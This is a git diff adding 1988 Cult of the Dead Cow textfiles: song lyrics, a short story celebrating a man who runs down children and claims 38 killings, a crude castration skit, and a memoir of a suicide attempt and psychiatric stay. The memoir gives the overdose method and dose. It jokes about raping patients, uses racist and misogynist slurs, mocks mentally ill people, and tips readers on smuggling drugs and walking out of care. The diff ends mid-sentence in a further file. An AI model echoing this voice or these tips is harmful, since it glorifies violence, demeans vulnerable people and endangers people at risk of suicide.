+Young men of valor +March away +Heads of state have +Called their name today +One by one they fell +And there they died +In the name of money +Hate and lies + + + Pain and Misery + ---- --- ------ + +One day you'll wake up +And life will have no meaning +Except that feeling in your veins + +Another blast another line +You'd hardly do it +Your lungs are craving +That cocaine + +Well, all your friends +Will sit and watch you do it +And when it's time they'll do the same + +You taste the smoke +It's the evil that's inside you +You know the winner of the game + +Oh no, can't you feel the pain? +Can you feel the misery? + +Well, time goes on +And you feel your body slipping +There's no control, you're a slave + +You breathe in deep +And be sure your hearts still pumping +You ain't ready for the grave + +One more time +And you promise the you will quit +But today's just not the day + +Everyday you give that +Same old sermon +Still you crack your life away + +Today they found you +In your room, your eyes were empty +A stem of a glass clutched in your hand + +Your heart had stopped +And your life had left you +Dead young American + + + Voices + ------ + +These voices in my head they say +Just what they want to say +They taunt me in my sleep +They want me to kill their way +Violent spirit inside of me +Many voices yell +From where, I can't tell +They seem to come from inside of me. + +I try to shut them out +But then they really shout +They're ripping something from me +Evil thoughts possess my brain + +Out, get them out, out, +Get them out, + +Voices,##Voices, +Voices,##Voices, +Voices,##Voices, + ##Got to get them out + +These voices run my life +They make me walk out through the night +Vicious bidding I must do +Insane, I snuff the child's lights +Mind of death runs me now + +Fight, claw, grasp ## You won't know +It's time to die ## Till its to late +God's first law ## Wild eyed fiend +But I defy ## Seals your fate +Voices tell me ## Feel my hand +How to kill ## Around about +I'm their tool ## God please help +I do their will ## Get them out + +In my mind I'm still here +Unwilling monster disappear +I can't go on with this charade +From my wrists, blood cascades + +Free from them, they're finally out + +Out, get them out, +Get them out.... + + + Doors to Hell + ----- -- ---- + +On behalf of the unnamed soldiers +Dies for their country in some far-away place +Some returned expecting glory +Baby killers got spit upon their face + +With napalm, we're villains, we're burning the children +To death, Obsessed + +Put there by liars, the money messiahs, decay, obey +Shoot, kill, good will, God is on our side +Don't ask your task, do what you must do + +Your door to Hell, Hell, your door to Hell + +Open season for the fascists +To test their toys out +On this frail human race +Some burned the flag +And denied them +While others marched off +To save a nation's face + +Hiding in the trenches +Their lungs filled with stenches +Of death, Obsessed +Most who enlisted +No longer existed +Slain in vain +Shoot kill good will +Christian soldiers +Don't ask your task +Do as you're told + + + World Circus + ----- ------ + +Ladies and Gents +We welcome you now to the show +A game we like to play + +When your turn comes we'll let you know +The game is their world +The circus is all of tricks +Democracy, hypocrisy, cash junkies all need a fix + +Oh, but God can save us all +Bow to his glory and now prepare for the fall +Of the... + +World Circus/World Circus + +USSR and United States represent all +Biggest nation, main attraction +The people holding the bail +Some small sweaty country +Is where the first acts will all die +Out of the air into despair +That's how the circus survives + +Oh, but we could save us all +Forget their religion and think for yourselves +Once, and for all, before the... + +World Circus/World Circus + +Lights, Flashing +Ash, fills the air +Open, the sky is bleeding +Circus, is everywhere + +Breathe in the air of disgust +And it will make you gag +Chemicals, they're filling the air + +Money in some fat man's bag the illness that infects your immunes +And leaves you quite dead +Who'd believe, who'd have conceived +Our book was already read + +Oh, but God can save us all +And if you believe you're a fool, and surely +Will fall, to the... + +World Circus/World Circus + +In the center ring + + + 47 Seconds of Sanity/Count your Blessings + -- ------- -- ------ ----- ---- --------- + +The winter starts +The summer ends +Bringing back the pain +Streets in the summer +Are warm at night +It's easy begging change +But when the cold air comes +And your hands they freeze +The night it breathes last sleep +Cringe from the frozen wind +The end starts to begin + +Count your blessings +Won't you? +God's eye is still on you +Times pass won't last +You'll see! +Your fate is here with me + +The normal life I used to have +A dream from yesterday +Kids and wife, I had it all +I worked and then I prayed +But taxes rose, we lost our house +After fifteen years, Goodbye +On the earth alone within +The end starts to begin + +Now I have lived here on the streets +An eyesore for mankind +A product of society +The average urban refugee +My story's one like a thousand more +Tomorrow like the day before + + + False Prophets + ----- -------- + +Deep inside the house of white +Elected tools decide our plight +If we live or if we die +Controlling minds, robbing blind +Moral crimes + +Beware, false prophets, beware + +He'll come in the form of a reverend clown +And tell his flock to gather round +He slays with his tongue +And not a sword +A celluloid jesus, a plastic lord +For your dashboard + +Beware, false prophets, beware + +He wares a flag of red, white, and blue +An ancient actor with a twisted view +His final picture is final part +His slice of history the war he starts +Blown apart! + + + Haunted Earth + ------- ----- + +They are here to take away +The visions of our future +With their words of empty praise, of peace +Politicians butcher +You know your mind is bending +With your stare so blind +You're here to do their bidding, to kill +All that's left behind + +We must always live +For our earth +Haunted Earth +We shall never be +The same again +Haunted Earth + +Turn your cheek and they will smite you +At their lords command +From the book of forgotten prophets, you sin +Sinners will be damned +Machines of death will reap the slayer's harvest +The body count is high + +Ten thousand souls are lost forever, in Hell +Where no one dies + +The dogs of war are howling at you +Can't you see the signs? +The art of war is an ancient syndrome, of death +For all mankind +They raise the curtain of the act violence +They take their final bow +Twisting bows of propaganda, they speak +As if they're proud +PROUD! + + + Victims + ------- + +Faces Of Death, 1, 2 and 3 +Murder and violence on film +Perverted acts that infest the world +Is this really God's will? + +Madman and butchers running the land +With a cross on their chest +And the good book in hand +Pointing a finger at those who oppose +Quieting the facts and truths undisclosed + +Hatred, all of that is different +Victims, of the ones that you trust +Ignorance, controlling your actions +Victims + +Watch the TV, and you'll see the news +The ends that our world is coming to +Falsified glory, delusions of grandeur + +A true patriot kills at will + +Madmen and sadists make their demands +With a cross on their chest +And the good book in hand +Dogs in high places deliver a curse, by splitting their +Atoms, destroying the earth + +=============================================================================== + (c)1988 cDc communications by The Omen 8/25/88-72 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0073.txt b/textfiles.com/groups/CDC/cDc-0073.txt new file mode 100644 index 00000000..28c66815 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0073.txt @@ -0,0 +1,59 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Visions From The Last Crusade + + by Psychedelic Warlord + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The catacombs of my head produce the most wonderful dreams and visions. + I feel that I am one with my intellect and my soul. It was during these + dreams and visions that I concocted a notion. It started as something + small at first, but after every dream it grew stronger, until the urge + had become too great. No longer could this strong desire in my mind be + suppressed. Recognizing this fact, my one and only goal in life became + the termination of everything that was free and loving. Only I could + realize the true value of loving and expression. Only in my dreams. + + This feeling pervaded everything in my life, yet the first few months + after realizing my goal, I had done nothing. Then one day, as I was + driving home from work, I noticed two children crossing the street. They + were happy, happy to be free from their troubles. I knew, however, that + this happiness and sense of freedom were much too overwhelming for them. + This happiness was mine by right. I had earned it in my dreams. As I + neared the young ones, I put all my weight on my right foot, keeping + the accelerator pedal on the floor until I heard the crashing of the + two children on the hood, and then the sharp cry of pain from one of + the two. I was so fascinated for a moment, that when after I had stopped + my vehicle, I just sat in a daze, sweet visions filling my head. My + dream was abruptly ended when I heard a loud banging on the front + window. It was an old man, who was using his cane to awaken me. He might + have been a witness to my act of love. I was not sure, nor did I care. + It was simply ecstasy. As I drove home, I envisioned myself committing + more of these "acts of love", and after a while, I had no trouble carrying + them out. + + The more people I killed, the longer my dreams were. I soon quit my job, + and stayed at my house in an almost comatose state. My dreams grew longer + and more vivid. They kept me alive and proved to be the only thing + to live for. I had killed nearly 38 people by the time of my twenty-third + birthday, and each one was more fulfilling than the last. + + I was never really surprised at how I evaded the police. My dreams + had taken over my life, and they guided me through the right path, and + I never had need for fear of police. Or anything, for that matter. + +=============================================================================== + (c)opy-write 1988 cDc communications by Psychedelic Warlord 8/28/88-73 + All Rights, Of Course, Are Shit In Their Worth + diff --git a/textfiles.com/groups/CDC/cDc-0074.txt b/textfiles.com/groups/CDC/cDc-0074.txt new file mode 100644 index 00000000..c314c519 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0074.txt @@ -0,0 +1,74 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + "The Camping Trip" + + by Franken Gibe + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Larry: "I've heard there's been a lot of castration an' stuff in this trailer + park. So make sure you button up your fly, kid." + +Sidney: "Don't worry. My cock is steel-belted. Nothin' short of a chain saw's + gonna even scratch that mamma." + +Pam: "Titter. Ohhh, Sid! You card!" + +Larry: "Well, Sidney, I've warned you. Nick Cave would likely stand by me in + my solicitude for my fellow man's genitalia." + +Sidney and Pam [in unison, snidely]: "Oh, Larry. Bite the Big One." + +Larry: "Brr-ahem. Fine." + + ... Later that evening ... + + Rrrooom---rrrrroooom----rrrrmmmoooooommmmm-----whiiiiizzzzzz z--SNAP! + + +Sidney: "Ouch! Oh dear. I've been emasculated." + +Larry: "Only radial tires are steel-belted, Sid. Certainly, God never thought + to fortify the male penis." + +Pam: "Ooooo, Poor Little Siddy. Shall I kiss your boo-boo?" + +Sidney: "I believe my boo-boo was jus' snatched up by a young, rather scruffy + squirrel." + +Pam: "Perhaps it was Mary?" + + [General laughter, including ruefully playful + gasps of agony from the dickless Sidney] + +Larry: "Gafaw, gafaw! What a riot you are, Pamela. Let me thrust my love + muscle into your feline orifice. What say?" + +Pam: "Well, I'm sure Sid wouldn't object. He hasn't a weenie." + +Sidney: [grinning] "At least I'll save money on The Operation." + + And so the camping trip ended in success. Pam went on to be a prostitute +in New York, and was strangled by a deranged bisexual midget. Larry became a +priest and died soon after of MYSTERIOUS anal lesions. Sid is now Sidella, and +resides in New Haven. (S)he enjoys knitting and cats. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462||The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362||Dragonfire Private........609/424-2606 + Question Authority........715/341-6516||TacoLand..................915/532-3226 + Tequila Willy's...........209/526-3194||The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Franken Gibe 9/5/88-74 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0075.txt b/textfiles.com/groups/CDC/cDc-0075.txt new file mode 100644 index 00000000..5389db07 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0075.txt @@ -0,0 +1,585 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + METALLICA + / \ + + ...AND JUSTICE FOR ALL + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Well, here it is...lyrics to 'tallica's long-awaited fourth album. They +definitely haven't sold out to become more 'accessible', as this is probably +their darkest and most grim album yet. + + Note that "To Live is to Die" is sort of a tribute to the late Cliff +Burton, as the lyrics are by him and are chillingly fitting. + + Metallica is: James Hetfield - Rhythm Guitar/Vocals Metallica Fan Club + Lars Ulrich - Drums P.O. Box 1347 + Kirk Hammett - Lead Guitar Roslyn Hts., NY + Jason Newsted - Bass 11577 + + + -S. Ratte' 9/6/88 + cDc - "And we'll remain the hardest ever..." + +All lyrics (c)1988 Creeping Death Music + ASCAP + +_______________________________________________________________________________ + + +--BLACKENED (6:40) + (Hetfield, Ulrich, Newsted) + +Blackened is the end +Winter it will send +Throwing all you see +Into obscurity + +Death of mother earth +Never a rebirth +Evolution's End +Never will it mend + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + +Blistering of earth +Terminate its worth +Deadly nicotine +Kills what might have been + +Callous frigid chill +Nothing left to kill +Never seen before +Breathing nevermore + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + + Blackened. + +Opposition... Contradiction... Premonition... Compromise +Agitation... Violation... Mutilation... Planet dies + + Darkest color + Blistered earth + True death of life + +Termination... Expiration... Cancellation... Human race +Expectation... Liberation... Population... Lay to waste + + See our mother + Put to death + See our mother die + +Smoldering decay +Take her breath away +Millions of our years +In minutes disappears + +Darkening in vain +Decadence remains +All is said and done +Never is the sun + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Fire + Is the outcome of hypocrisy + Darkest potency + In the exit of humanity + Color our world blackened + + Blackened. + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--...AND JUSTICE FOR ALL (9:44) + (Hetfield, Ulrich, Hammett) + +Halls of justice painted green +Money talking +Power wolves beset your door +Hear them stalking +Soon you'll please their appetite +They devour +Hammer of justice crushes you +Overpower + + --CHORUS-- + The ultimate in vanity + Exploiting their supremacy + I can't believe the things you say + I can't believe + I can't believe the price you pay + Nothing can save you + Justice is lost + Justice is raped + Justice is gone + Pulling your strings + Justice is done + Seeing no truth + Winning is all + Find it so grim + so true + so real + +Apathy their stepping stone +So unfeeling +Hidden deep animosity +So deceiving +Through your eyes their light burns +Hoping to find +Inquisition sinking you +With prying minds + +--CHORUS-- + +Lady justice has been raped +Truth assassin +Rolls of red tape seal your lips +Now you're done in +Their money tips her scales again +Make your deal +Just what is truth? I cannot tell +Cannot feel + +--CHORUS-- + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--EYE OF THE BEHOLDER (6:25) + (Hetfield, Ulrich, Hammett) + +Do you see what I see? +Truth is an offense +You silence for your confidence + +Do you hear what I hear? +Doors are slamming shut +Limit your imagination, keep you where they must + +Do you feel what I feel? +Bittering distress +Who decides what you express? + +Do you take what I take? +Endurance is the word +Moving back instead of forward seems to me absurd + + --CHORUS-- + Doesn't matter what you see + Or into it what you read + You can do it your own way + If it's done just how I say + Independence limited + Freedom of choice + Choice is made for you my friend + Freedom of speech + Speech is words that they will bend + Freedom with their exception + +Do you fear what I fear? +Living properly +Truths to you are lies to me + +Do you choose what I choose? +More alternatives +Energy derives from both the plus and negative + +Do you need what I need? +Boundaries overthrown +Look inside, to each his own + +Do you trust what I trust? +Me, myself, and I +Penetrate the smoke screen, I see through the selfish lie + +--CHORUS-- + +Do you know what I know? +Your money and your wealth +You silence just to hear yourself + +Do you want what I want? +Desire not a thing +I hunger after independence, lengthen freedom's ring + +--CHORUSx2-- + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--ONE (7:24) + (Hetfield, Ulrich) + +I can't remember anything +Can't tell if this is true or dream +Deep down inside I feel to scream +This terrible silence stops me + +Now that the war is through with me +I'm waking up, I cannot see +That there's not much left of me +Nothing is real but pain now + + Hold my breath as I wish for death + Oh please God, wake me + +Back in the womb it's much too real +In pumps life that I must feel +But can't look forward to reveal +Look to the time when I'll live + +Fed through the tube that sticks in me +Just like a wartime novelty +Tied to machines that make me be +Cut this life off from me + + Hold me breath as I wish for death + Oh please God, wake me + + Now the world is gone, I'm just one + Oh God, help me hold my breath as I wish for death + Oh please God, help me + +Darkness Imprisoning me + All that I see + Absolute horror + I cannot live + I cannot die + Trapped in myself + Body my holding cell + +Landmine Has taken my sight + Taken my speech + Taken my hearing + Taken my arms + Taken my legs + Taken my soul + Left me with life in Hell + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--THE SHORTEST STRAW (6:35) + (Hetfield, Ulrich) + +Suspicion is your name +Your honesty to blame +Put dignity to shame +Dishonor +Witchhunt, modern day +Determining decay +The blatant disarray +Disfigure +The public eyes' disgrace +Defying common place +Unending paper chase +Unending + +Deafening +Painstaking +Reckoning +This vertigo it doth bring + + Shortest straw + Challenge liberty + Downed by law + Life in infamy + Rub you raw + Witchhunt riding through + Shortest straw + The shortest straw has been pulled for you + + --CHORUS-- + Pulled for you + Shortest straw + Pulled for you + Shortest straw + Pulled for you + Shortest straw + Shortest straw has been pulled for you + +The accusations fly +Discrimination, why? +Your inner self to die +Intruding +Doubt sunk itself in you +Its teeth and talons through +Your living catch-22 +Deluding + +A mass hysteria +A megalomania +Reveal dementia +Reveal + +Secretly +Silently +Certainly +In vertigo you will be + + Shortest straw + Challenge liberty + Downed by law + Live in infamy + Rub you raw + Witchhunt riding through + Shortest straw + This shortest straw has been pulled for you + +--CHORUSx2-- + +Behind you, hands are tied +Your being, ostracized +Your hell is multiplied +Upending +The fallout has begun +Oppressive damage done +Your many turned to none +To nothing +You're reaching your nadir +Your will has disappeared +The lie is crystal clear +Defending +Channels red +One word said +Blacklisted +With vertigo make you dead + + Shortest straw + Challenge liberty + Downed by law + Lie in infamy + Rub you raw + Witchhunt riding through + Shortest straw + The shortest straw has been pulled for you + Pulled for you + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--HARVESTER OF SORROW (5:42) + (Hetfield, Ulrich) + +My life suffocates +Planting seeds of hate +I've loved, turned to hate +Trapped far beyond my fate + +I give +You take +This life that I forsake +Been cheated of my youth +You turned this lie to truth + + Anger + Misery + You'll suffer unto me + + Harvester of sorrow + Language of the mad + Harvester of sorrow + +Pure black looking clear +My work is done soon here +Try getting back to me +Get back which used to be + +Drink up +Shoot in +Let the beatings begin + +Distributor of pain +Your loss becomes my gain + + Anger + Misery + You'll suffer unto me + + Harvester of sorrow + Language of the mad + Harvester of sorrow + +All have said their prayers +Invade their nightmares +To see into my eyes +You'll find where murder lies + +Infanticide + + Harvester of sorrow + Language of the mad + Harvester of sorrow + Language of the mad + Harvester of sorrow + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--THE FRAYED ENDS OF SANITY (7:40) + (Hetfield, Ulrich, Hammett) + +Never hunger +Never prosper +I have fallen prey to failure +Struggle within +Triggered again +Now the candle burns at both ends + +Twisting under schizophrenia +Falling deep into dementia + + --CHORUS-- + Old habits reappear + Fighting the fear of fear + Growing conspiracy + Everyone's after me + Frayed ends of sanity + Hear them calling + Hear them calling me + +Birth of terror +Death of much more +I'm the slave of fear, my captor +Never warnings +Spreading its wings +As I wait for the horror she brings +Loss of interest, question, wonder +Waves of fear they pull me under + +--CHORUS-- + +Into ruin +I am sinking +Hostage of this nameless feeling +Hell is set free +Flooded I'll be +Feel the undertow inside me + +Height, Hell, time, haste, terror, tension +Life, death, want, waste, mass depression + +--CHORUS-- + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--TO LIVE IS TO DIE (9:48) + (Hetfield, Ulrich, Burton) + +When a man lies he murders + Some part of the world +These are the pale deaths which + Men miscall their lives +All this I cannot bear + To witness any longer +Cannot the kingdom of salvation + Take me home + + +xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx + +--DYERS EVE (5:12) + (Hetfield, Ulrich, Hammett) + +Dear Mother +Dear Father +What is this Hell you have put me through +Believer +Deceiver +Day in day out live my life through you +Pushed onto me what's wrong or right +Hidden from this thing that they call life + +Dear Mother +Dear Father +Every thought I'd think you'd disapprove +Curator +Dictator +Always censoring my every move +Children are seen but are not heard +Tear out everything inspired + + Innocence + Torn from me without your shelter + Barred reality + I'm living blindly + +Dear Mother +Dear Father +Time has frozen still what's left to be +Hear nothing +Say nothing +Cannot face the fact I think for me +No guarantee, it's life as is +But damn you for not giving me my chance + +Dear mother +Dear father +You've clipped my wings before I learned to fly +Unspoiled +Unspoken +I've outgrown that fucking lullaby +Same thing I've always heard from you +Do as I say, not as I do + + Innocence + Torn from me without your shelter + Barred reality + I'm living blindly + I'm in Hell without you + Cannot cope without you two + Shocked at the world that I see + Innocent victim, please rescue me + +Dear mother +Dear father +Hidden in your world you've made for me +I'm seething +I'm bleeding +Ripping wounds in me that never heal +Undying spite I feel for you +Living out this Hell you always knew + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand..................915/532-3226 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Swamp Rat 9/6/88-75 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0076.txt b/textfiles.com/groups/CDC/cDc-0076.txt new file mode 100644 index 00000000..d9428f23 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0076.txt @@ -0,0 +1,211 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + INSTITUTIONALIZED + + by Necrovore + (formerly The Raver) + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +INSTITUTIONALIZED 3/22/88 Brief introduction by the author + + First of all, I have something that I would like to say before I get on +with this file. Now I'm sure you know how common it has become for parents to +throw their kids into institutions. Just some of the reasons are drug abuse, +uncontrollable behavior, and suicide. This file was written from experience. +I was thrown into the psycho ward of the North Carolina Baptist Hospital for +all three of those reasons. But that was two years ago. Now I am not mentally +ill. Nay, I just had my own fucking share of problems. A lot of my friends +have had this same kind of experience happen to them, too. This file details +how I whiled away my lovely three month vacation with crazies. + + There is also a bit of case history thrown in so that you will under- +stand that there is no k-k00l d00d fabrication involved. This is not a joke. +I don't want you to kill yourself. It's no fun (hah). And just because I make +mention of attempting to kill myself while listening to Metallica does not mean +I am putting down Metallica. On the contrary, I worship Metallica (Jaymz is +fuckin God). And if you laugh at me and call me a dumbshit then by all means, +go fuck yourself. I don't need your sympathy or your fucking inane insults. + + One last note. If you have read The Blade's file on getting people to +commit suicide then I have this to say: ha ha, it's utter bullshit. If you +were to walk up to me and say "Kill yourself" or if you were to rag on me with +such lovely phrases as "Your sister fucks dogs" then I would crack a smile and +proceed to rip your goddamned face off (then I'd eat it). So take note, The +Blade's file is filled with bigotry, stupidity, and racist attitudes. How can +you view a person like that as cool? Fuck off Blade and move to fucking +East Germany where they'll actually fall all over themselves for you. + +=============================================================================== + +NOTE: Now I've heard all those stories about white lights at then end of black +tunnels and all, but I never experienced that (I was clinically dead for +fifteen seconds). But then I've also heard that you don't get that experience +when your system's loaded with drugs... and I was loaded. + + Institutions are fun places. There are all those dudes in white and +lovely bitches to rape. And don't forget about all the people who are whacked +out of their skull. How can you make your all-expenses paid visit more fun? +Why, read on.. + + As I have said, I was institutionalized for a period of three months +(this is about the time that I left the telecom world (then known under a +different handle) and almost made my exit from life. Yeah, I can still +remember the day I tried to end my life. It was, to say the least, bizarre. +I had just finished a transfer with some dude up in Oregon and was feelin' +pretty bad. The home scene had deteriorated to where I thought death would be +a fuckin vacation. After thoroughly ripping my room up I took 10 lethal doses +of anti-depressants and drunk a lot of good old Absolut vodka. I then kranked +up the most appropriate tune, "Fade to Black" by Metallica. When I started +zoning out I thought "Hey man, what the fuck am I doing!? My life may suck but +there has to be something worth living for." I then called the hospital for an +ambulance and, when on board, I went comatose. My whore mom told me that when +we got to the hospital I walked out of the ambulance and into the emergency +room and fell on my face. My heart had stopped and I was no longer breathing. +Now my whore mom also told me that it took the docs (6 of 'em no less) about 15 +hours to make sure I'd stay alive. I was in a coma for three days and lemme +tell ya, it's no fun waking up in ICU (Intensive Care Unit). I mean it's no +fucking fun. Tubes up yer ass and down yer throat. Fuckin gagville. I was +then in recovery for three days with 24-hour supervision (like I was stupid +enough to try again). During these three days I was real freaked... I was real +surprised at what I had done and almost in a good mood. Real weird. I did +have the bizarre privilege of watching a code blue (death or dying patient) in +progress. It was kinda neat. Anyways, I was then taken to Hell (AKA the +psycho ward). This is about where the hell began. + + I was fuckin full of hatred for about a week. I was addressing all +that dare spoke to me as whores, fags, etc. I wasn't a "nice" guy. After I +calmed down I was given full privileges (i.e. I could leave the ward for a +while and then come back and leave again). I used this to my advantage in +having fun. Like I was still heavily into phreaking at this time and I had a +blast bustin' my way into the hospital's "secure" telephone closets (which I +cannibalized quite thoroughly). In case you're wondering what kinda people I +was holed up with, then here are a few examples: + + There was this dude sitting in a chair in the Rec room with his bag + packed. I sauntered up to him and politely asked him what in the + hell he was doing. He said that he was waiting for the 11:00 PM + train. I asked him where it was heading. He said Mars. + + There was this fat-assed bitch and she had one hell of a foul temp- + erment. I asked about her and some of the nurses told me that she + was merely stopping off here and was headed for Butner (a real, live + nuthouse for the totally insane). She was diagnosed as psychotic. + I had a penchant for post-nuclear war role playing games at the time + and was pouring over Aftermath (one of dem games) and she asked what + it was. I told her. We then got into a full-fledged debate. She + was trying to prove that nuclear war was NEVER going to happen and + wasn't possible. I merely tried to point out that it IS possible and + CAN happen. Along the way somewhere I caught her contradicting her- + self and threw it right in her face. Man, did she have a fuckin + temper tantrum. Geez. That's about when the PA's (patient asst.) + threw her into a straight jacket. Wooh. + + I was waiting to use the phone. This dude in front of me was like + totally fucked. He dialed a number and started talking to God. I'm + sure. So he was saying that he wanted to get offa the planet 'cause + everyone around him was crazy. What a laugh. + + There was this 20 year old black bitch from Virginia after my ass. + I mean not like suggestive, but just fucking nutso. Fuckin went + into my room, got naked and like waited in my bed. She wasn't bad + looking or anything, but I prefer fucking girls that aren't crazy. + And I'm talking REAL fucking crazy (ie, cranial decomposition). + Ever see a metal/core dude blow a gasket? Snap..crackle..pop... + + Get the picture? I hope so. Anyways, I wouldn't have survived if my +friends hadn't brought me my Metallica tapes and smuggled me in dope. About +this time a friend of mine from school was brought in (for suicide also) and we +bunked up together (I was sick of my old room mate -- some black dude that was +taken for electro-shock therapy (I think they called it ECP treatment) all da +time and man, did he smell like shit... he was old and didn't give a shit). + + Anyways, my friend's girlfriend visited us and came back the next day +with a friend of hers and we fucked 'em. Man was it good. It'd been a while +and I enjoyed every minute of it (but this isn't some lame sex file so I'll +like get on with it). Before you start raising hell, scope the scene out, get +on the good side of yer doc (so you can get yer privileges), and be cool. + + Find the crazies and have fun with 'em (it's generally a blast to talk +to a schizo). Take, for example, the dude I gave as an example above (the one +who was talking to God on the phone). I had some serious hell with him. I +like acted crazy and generally freaked him out. I wrote some poetry and shit +that was real evil and death-oriented and showed it to this prude. He gave me +the ultimate compliment... he shuddered and called me an evil and sick demento. +What a swell fuckup. Just fuck around, make passes at the nurses, etc. When +ya get your privileges the fun begins. + + Wander around the hospital and raise hell. I stole a full set of +scrubs (ya know, the green suits the surgeons wear when they cut yer ass open +with knives and forks of the stainless steel variety). Get your friends to +come pick you up and go to McDonald's or BK (hospital food sucks raw moose +cock). Hell, I dunno, just have a fun time. Go for rides on gurneys. I got +in this wheel chair and pretended to be some crip dude (no offense to any +crippled people out there). It was a blast. I sat here and called the nurses +that came to take my blood vamps and told 'em to fuck off (needles aren't my +style). + + So basically, I just got stoned all the time (extra-high cause of some +of the medication I was taking at the same time), fucked around, caused +trouble, and all kindsa shit. Usually a bunch of us cool people (and we were +the definite minority) ordered out for pizza and watched tv (wow, what a commie +thing to do) and had bizarre discussions ranging from death to aliens. + + If you're 18 or over and wanna get out legally, sign an AMA (Against +Medical Advice) and sign yourself out. I would have done this but for two +reasons: I was 17 at the time (now I be 19, w0w) and if I had signed myself out +my mom wouldn't have let me come home. + + I found a bunch of ways to escape but didn't feel like hangin' in some +shitty cardboard box downtown with all the heroin addicts so I like stayed. I +was also not in any condition to stay at a friend's place (mood swings ranging +swiftly from depression to violence aren't good for keeping friendships). If +you have your privileges leaving is as simple as walking away (if they catch +wind of this they'll call the cops). Basically take yer important stuff and +get your friends to come and get your other stuff later. While I was there +this old lady made a break for it and got away. I was rootin' for her all the +way (hell, she got away from the cops). + + As an end note, I have one thing to say: suicide is really not the way +to go. Nah, just hang in and bear it. People tell me that God didn't want me +to die cause he has many things planned for me. Maybe so, but was it really +God? At any rate, I am a lot more different (and strange) now. I guess shit +like this changes your outlook on things. I can get more hateful, sick, +demented, and evil now than I could two years ago. It's much more fun now. As +a side effect, I also get depressed a lot and end up drinking lots of alcohol +and using lots of drugs and generally feeling like everybody has been pissing +on me. Well, ya can't have the good without the bad (what an asinine adage). + + "War inside my head ain't a pretty sight + But I don't want no sympathy + It's happened a thousand times before + It's just a harsh reality" + + -- Suicidal Tendencies, "War Inside My Head" + + "You're the prisoner locked in your cell + You're living in your personal hell + Invisible bars block your view + They don't exist, except for you" + + -- Suicidal Tendencies, "The Prisoner" + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand..................915/532-3226 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Necrovore 4/26/88-76 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0077.txt b/textfiles.com/groups/CDC/cDc-0077.txt new file mode 100644 index 00000000..593033b9 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0077.txt @@ -0,0 +1,65 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + HELD CAPTIVE + + a file experienced by Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + As you read through this file you may think to yourself, "Why did this guy +write this?" Well, if you want the truth, it was because I was totally bored +and had nothing better to do. Just read it and shut 